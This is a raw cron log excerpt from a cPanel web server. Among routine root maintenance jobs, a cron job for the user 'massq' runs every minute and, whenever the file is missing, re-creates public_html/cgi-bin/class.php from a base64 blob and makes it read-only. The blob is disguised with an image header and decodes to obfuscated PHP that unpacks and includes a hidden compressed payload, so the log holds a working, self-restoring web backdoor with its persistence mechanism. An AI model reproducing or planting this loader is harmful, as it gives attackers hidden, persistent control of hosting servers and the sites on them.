Nov  9 19:57:01 server CROND[20642]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:57:01 server CROND[20643]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 19:58:01 server CROND[21404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:59:01 server CROND[22100]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:00:01 server CROND[22914]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov  9 20:00:01 server CROND[22916]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:00:01 server CROND[22915]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:00:01 server CROND[22921]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 20:00:01 server CROND[22920]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:01:01 server CROND[23789]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 20:01:01 server CROND[23790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:01:01 server run-parts(/etc/cron.hourly)[23789]: starting 0anacron
Nov  9 20:01:01 server run-parts(/etc/cron.hourly)[23802]: finished 0anacron
Nov  9 20:02:01 server CROND[24633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:03:01 server CROND[25534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:04:01 server CROND[26352]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:05:01 server CROND[27259]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 20:05:01 server CROND[27262]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:05:01 server CROND[27263]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 20:05:01 server CROND[27261]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov  9 20:05:01 server CROND[27264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:06:01 server CROND[28202]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:07:01 server CROND[28729]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:08:01 server CROND[29479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:09:01 server CROND[30415]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 20:09:01 server CROND[30416]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 20:10:01 server CROND[31289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 20:10:01 server CROND[31290]: (root) CMD (/usr/lib64/sa/sa1 1 1)
